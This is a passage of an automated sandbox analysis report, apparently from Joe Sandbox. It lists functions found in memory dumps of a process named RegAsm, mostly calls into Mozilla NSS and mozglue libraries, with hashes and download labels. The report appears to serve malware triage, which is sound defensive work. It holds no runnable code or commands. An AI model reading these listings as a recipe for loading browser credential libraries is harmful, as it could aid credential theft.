Part of subcall function 6C8A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C8A9482
Part of subcall function 6C8A9420: __Init_thread_footer.LIBCMT ref: 6C8A949F

GetCurrentThreadId.KERNEL32 ref: 6C8AF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C8AF598), ref: 6C8AF621

Part of subcall function 6C8A94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C8A94EE
Part of subcall function 6C8A94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C8A9508

GetCurrentThreadId.KERNEL32 ref: 6C8AF637
AcquireSRWLockExclusive.KERNEL32(6C8EF4B8,?,?,00000000,?,6C8AF598), ref: 6C8AF645
ReleaseSRWLockExclusive.KERNEL32(6C8EF4B8,?,?,00000000,?,6C8AF598), ref: 6C8AF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C8AF62A

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 66ac2042852bc4295c78a60325c6d26a2741543892fd0ba494469d314ab6bcf3
Instruction ID: 4f63dc40702856fc0ef2057b7f1e3c809230b74a410a6521153deb9d5c6586b6
Opcode Fuzzy Hash: 66ac2042852bc4295c78a60325c6d26a2741543892fd0ba494469d314ab6bcf3
Instruction Fuzzy Hash: 6311E771305205AFCB70AF98D6449E67779FB9A36DB500875EA0583F01CB32AC16CBE4

Function 6CA92C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CA92CA0
PR_ExitMonitor.NSS3 ref: 6CA92CBE
calloc.MOZGLUE(00000001,00000014), ref: 6CA92CD1
strdup.MOZGLUE(?), ref: 6CA92CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6CA92D27

Strings

Loaded library %s (static lib), xrefs: 6CA92D22

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: a79835cfe1fcea623458f6e2dd61a2ebe031c5e0e84ba9d3d9ab887f9bb6873c
Instruction ID: d9effdd1ca59610f76617715e233b6af2452547b5d6d02fc9cba471ece9d7e15
Opcode Fuzzy Hash: a79835cfe1fcea623458f6e2dd61a2ebe031c5e0e84ba9d3d9ab887f9bb6873c
Instruction Fuzzy Hash: C01126B16013118FEB149F15D9066A637F4AB4930DF08C62DD809C7B42D731E889CBE1

Function 6C9868E0 Relevance: 10.6, APIs: 7, Instructions: 56COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C9868FB
EnterCriticalSection.KERNEL32 ref: 6C986913
PORT_FreeArena_Util.NSS3 ref: 6C98693E
PR_Unlock.NSS3 ref: 6C986946
DeleteCriticalSection.KERNEL32 ref: 6C986951
free.MOZGLUE ref: 6C98695D
PR_Unlock.NSS3 ref: 6C986968

Part of subcall function 6CA2DD70: TlsGetValue.KERNEL32 ref: 6CA2DD8C
Part of subcall function 6CA2DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CA2DDB4

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: CriticalSection$UnlockValue$Arena_DeleteEnterFreeLeaveUtilfree
String ID:
API String ID: 1628394932-0
Opcode ID: cede66a948082beb293c72ad190fff975c0e40f07abe7ef85c3cac522eea0d80
Instruction ID: 7fbc43e500db4c599e5d02f6662daff762cf3933ba775a64371acd643b9b9a72
Opcode Fuzzy Hash: cede66a948082beb293c72ad190fff975c0e40f07abe7ef85c3cac522eea0d80
Instruction Fuzzy Hash: 87118EB0A057058FDB00AF78C48856DBBF8FF06348F054968D888CB741EB35E489CB92

Function 6C9E0FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C9887ED,00000800,6C97EF74,00000000), ref: 6C9E1000
PR_NewLock.NSS3(?,00000800,6C97EF74,00000000), ref: 6C9E1016

Part of subcall function 6CA498D0: calloc.MOZGLUE(00000001,00000084,6C970936,00000001,?,6C97102C), ref: 6CA498E5

PL_InitArenaPool.NSS3(00000000,security,6C9887ED,00000008,?,00000800,6C97EF74,00000000), ref: 6C9E102B
TlsGetValue.KERNEL32(00000000,?,?,6C9887ED,00000800,6C97EF74,00000000), ref: 6C9E1044
free.MOZGLUE(00000000,?,00000800,6C97EF74,00000000), ref: 6C9E1064

Strings

security, xrefs: 6C9E1025

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: 9301d4a53cb267e69cb681df85985cfecb18b0199d3dce7f27d84fb24e35473b
Instruction ID: df2204ac02d15dd57030482c96b10d92f2023be71e3cc5402dd5629229d6d6bf
Opcode Fuzzy Hash: 9301d4a53cb267e69cb681df85985cfecb18b0199d3dce7f27d84fb24e35473b
Instruction Fuzzy Hash: C0012570600255DBE7222F3C9C056563768BF2B74AF014216E90896A63EB61D155DBE1

Function 6C8AF540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C8A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C874A68), ref: 6C8A945E
Part of subcall function 6C8A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C8A9470
Part of subcall function 6C8A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C8A9482
Part of subcall function 6C8A9420: __Init_thread_footer.LIBCMT ref: 6C8A949F

GetCurrentThreadId.KERNEL32 ref: 6C8AF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C8AF561

Part of subcall function 6C8A94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C8A94EE
Part of subcall function 6C8A94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C8A9508

GetCurrentThreadId.KERNEL32 ref: 6C8AF577
AcquireSRWLockExclusive.KERNEL32(6C8EF4B8), ref: 6C8AF585
ReleaseSRWLockExclusive.KERNEL32(6C8EF4B8), ref: 6C8AF5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6C8AF499
[I %d/%d] profiler_resume, xrefs: 6C8AF239
[I %d/%d] profiler_pause_sampling, xrefs: 6C8AF3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C8AF56A

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 2b1b9e02bc3eae703bcea09629fb3df4328ad9b0d15dad24c529b080080e1aa4
Instruction ID: 44530cae1f6f83bdbc094cf99d227d0769df156875b758c3bbad24f1bc9f865d
Opcode Fuzzy Hash: 2b1b9e02bc3eae703bcea09629fb3df4328ad9b0d15dad24c529b080080e1aa4
Instruction Fuzzy Hash: E8F0B4756003009FDB706FA89848A7B7BBCEB9E2ADF000871EA0583701DB324C05C7E8

Function 6C8A05F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C89CFAE,?,?,?,6C8631A7), ref: 6C8A05FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C89CFAE,?,?,?,6C8631A7), ref: 6C8A0616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C8631A7), ref: 6C8A061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C8631A7), ref: 6C8A0627

Strings

<jemalloc>, xrefs: 6C8A05FA, 6C8A060F
: (malloc) Error in VirtualFree(), xrefs: 6C8A061B, 6C8A0625

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 4a611b54b4c0e8aa930d7c78df534bc1f6cdc9a2649b2be01c482483f854e89f
Instruction ID: 3f3671e9b1c0280aa6f445ea02ba851bfa7d67b33bfb57695348d32ca052c0a3
Opcode Fuzzy Hash: 4a611b54b4c0e8aa930d7c78df534bc1f6cdc9a2649b2be01c482483f854e89f
Instruction Fuzzy Hash: CAE08CE2A0111037F528225AAC86DBB771CDBC6138F090039FD0D83302E94ABD1A92F6

Function 6CA22E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6CA23046

Part of subcall function 6CA0EE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6CA0EE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6C9F7FFB), ref: 6CA2312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA23154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CA22E8B

Part of subcall function 6CA2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA2C2BF

Part of subcall function 6CA0F110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6C9F9BFF,?,00000000,00000000), ref: 6CA0F134

memcpy.VCRUNTIME140(8B3C75C0,?,6C9F7FFA), ref: 6CA22EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA2317B

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: b06518cd788e498ce99db2820b9865ef2a137da7e55b57b559a9af6d8682385a
Instruction ID: d0fb20ef0966fe0bfc1963dbd14a162fb756558fef81796254610e4a6b80a247
Opcode Fuzzy Hash: b06518cd788e498ce99db2820b9865ef2a137da7e55b57b559a9af6d8682385a
Instruction Fuzzy Hash: 5BA1DF71A002289FDB24CF54CC80BEAB7B5EF49318F088199ED4967741E735AE99CF91

Function 6C9EED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6C9EED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6C9EEDCE

Part of subcall function 6C9E0BE0: malloc.MOZGLUE(6C9D8D2D,?,00000000,?), ref: 6C9E0BF8
Part of subcall function 6C9E0BE0: TlsGetValue.KERNEL32(6C9D8D2D,?,00000000,?), ref: 6C9E0C15

free.MOZGLUE(00000000,?,?,?,?,6C9EB04F), ref: 6C9EEE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C9EEECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C9EEEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C9EEEFB

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: 7e28fe1b298d4db44e2b0fa4bd6d8ea0135337cb17a39c76b5af87d3c6cb71f3
Instruction ID: 45ee006078a729f8928f35e1e20e464c286695e0879272dd437d1ec6477b1c0b
Opcode Fuzzy Hash: 7e28fe1b298d4db44e2b0fa4bd6d8ea0135337cb17a39c76b5af87d3c6cb71f3
Instruction Fuzzy Hash: 62815AB5A002059FEB15CF59D880BAB7BF9AFAC308F14442CE8159B751DB30E954CBE1

Function 6C8705F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc4b78089fddc29b36e10336ff85908b5335fc1cb3f23d4d2267cad7e33b018d
Instruction ID: b55a1e55872b115e070b6cc7482c357cd1a034ec1eaa4fd6218c18c6f976f66e
Opcode Fuzzy Hash: dc4b78089fddc29b36e10336ff85908b5335fc1cb3f23d4d2267cad7e33b018d
Instruction Fuzzy Hash: 05A13770A007558FDB34CF29CA94A9DFBF1BF49304F548A6AD44A97B01E731A945CFA0

Function 6C8C14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C8C14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C8C14E2
GetCurrentThreadId.KERNEL32 ref: 6C8C1546
InitializeConditionVariable.KERNEL32(?), ref: 6C8C15BA
free.MOZGLUE(?), ref: 6C8C16B4

Memory Dump Source

Source File: 00000002.00000002.2264437333.000000006C861000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C860000, based on PE: true

Associated: 00000002.00000002.2264422713.000000006C860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264579684.000000006C8EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2264596152.000000006C8F2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c860000_RegAsm.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 70262f80d62313c5c7cf6c7d9f35c21efa0eaac1202ede4492ef7b38212bd3b8
Instruction ID: c2329980e99e31c2613c2c4ad03822387fc80b9eb70cda98d83b11b5a87b788f
Opcode Fuzzy Hash: 70262f80d62313c5c7cf6c7d9f35c21efa0eaac1202ede4492ef7b38212bd3b8
Instruction Fuzzy Hash: B461C071A007549BDB318F24D980BDAB7B4BF89308F44892CED8A57701DB31E949CB92

Function 6C9ECCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9EC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C9EDAE2,?), ref: 6C9EC6C2

PR_Now.NSS3 ref: 6C9ECD35

Part of subcall function 6CA49DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CA90A27), ref: 6CA49DC6
Part of subcall function 6CA49DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CA90A27), ref: 6CA49DD1
Part of subcall function 6CA49DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CA49DED

Part of subcall function 6C9D6C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C981C6F,00000000,00000004,?,?), ref: 6C9D6C3F

PR_GetCurrentThread.NSS3 ref: 6C9ECD54

Part of subcall function 6CA49BF0: TlsGetValue.KERNEL32(?,?,?,6CA90A75), ref: 6CA49C07

Part of subcall function 6C9D7260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C981CCC,00000000,00000000,?,?), ref: 6C9D729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C9ECD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6C9ECE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C9ECE2C

Part of subcall function 6C9E10C0: TlsGetValue.KERNEL32(?,6C988802,00000000,00000008,?,6C97EF74,00000000), ref: 6C9E10F3
Part of subcall function 6C9E10C0: EnterCriticalSection.KERNEL32(?,?,6C988802,00000000,00000008,?,6C97EF74,00000000), ref: 6C9E110C
Part of subcall function 6C9E10C0: PL_ArenaAllocate.NSS3(?,?,?,6C988802,00000000,00000008,?,6C97EF74,00000000), ref: 6C9E1141
Part of subcall function 6C9E10C0: PR_Unlock.NSS3(?,?,?,6C988802,00000000,00000008,?,6C97EF74,00000000), ref: 6C9E1182
Part of subcall function 6C9E10C0: TlsGetValue.KERNEL32(?,6C988802,00000000,00000008,?,6C97EF74,00000000), ref: 6C9E119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6C9ECE40

Part of subcall function 6C9E14C0: TlsGetValue.KERNEL32 ref: 6C9E14E0
Part of subcall function 6C9E14C0: EnterCriticalSection.KERNEL32 ref: 6C9E14F5
Part of subcall function 6C9E14C0: PR_Unlock.NSS3 ref: 6C9E150D

Part of subcall function 6C9ECEE0: PORT_ArenaMark_Util.NSS3(?,6C9ECD93,?), ref: 6C9ECEEE
Part of subcall function 6C9ECEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C9ECD93,?), ref: 6C9ECEFC
Part of subcall function 6C9ECEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C9ECD93,?), ref: 6C9ECF0B
Part of subcall function 6C9ECEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C9ECD93,?), ref: 6C9ECF1D

Part of subcall function 6C9ECEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C9ECD93,?), ref: 6C9ECF47
Part of subcall function 6C9ECEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C9ECD93,?), ref: 6C9ECF67
Part of subcall function 6C9ECEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6C9ECD93,?,?,?,?,?,?,?,?,?,?,?,6C9ECD93,?), ref: 6C9ECF78

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 92102f2436a2fadb161e1e8a484ef99a61b68d918fa3a0693c4877261fccd5d8
Instruction ID: 08aa04e814d3555b7f5a57352d80c1b5412602301a5200bba53ce18ba689884e
Opcode Fuzzy Hash: 92102f2436a2fadb161e1e8a484ef99a61b68d918fa3a0693c4877261fccd5d8
Instruction Fuzzy Hash: C451D372A002009FEB11DF69DC40BAA7BE8AF7C348F250528D995A7740EB31ED45CB91

Function 6C9BEEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6C9BEF38

Part of subcall function 6C9A9520: PK11_IsLoggedIn.NSS3(00000000,?,6C9D379E,?,00000001,?), ref: 6C9A9542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C9BEF53

Part of subcall function 6C9C4C20: TlsGetValue.KERNEL32 ref: 6C9C4C4C
Part of subcall function 6C9C4C20: EnterCriticalSection.KERNEL32(?), ref: 6C9C4C60
Part of subcall function 6C9C4C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C9C4CA1
Part of subcall function 6C9C4C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C9C4CBE
Part of subcall function 6C9C4C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C9C4CD2
Part of subcall function 6C9C4C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9C4D3A

PR_GetCurrentThread.NSS3 ref: 6C9BEF9E

Part of subcall function 6CA49BF0: TlsGetValue.KERNEL32(?,?,?,6CA90A75), ref: 6CA49C07

free.MOZGLUE(00000000), ref: 6C9BEFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C9BF016
free.MOZGLUE(00000000), ref: 6C9BF022

Memory Dump Source

Source File: 00000002.00000002.2264626706.000000006C901000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000002.00000002.2264613488.000000006C900000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265195565.000000006CADE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265297960.000000006CADF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265312914.000000006CAE0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2265328345.000000006CAE5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c900000_RegAsm.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: bf0c296c7c338a8f98a06ff7076e53332febd1e4bb2fbb14da4b79611e08480e
Instruction ID: a92b77d3231a5d7a170c5523b577ae7cc5d5c559e9c5e5d71a9469f6bac409e9
Opcode Fuzzy Hash: bf0c296c7c338a8f98a06ff7076e53332febd1e4bb2fbb14da4b79611e08480e
Instruction Fuzzy Hash: 8D41B275E0020AABDF018FA9DC85BEF7BB9AF58348F004025F904B6350E772D9158BA1

Function 00413070 Relevance: 9.1, APIs: 6, Instructions: 122stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00413098

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

strtok_s.MSVCRT ref: 004131E1

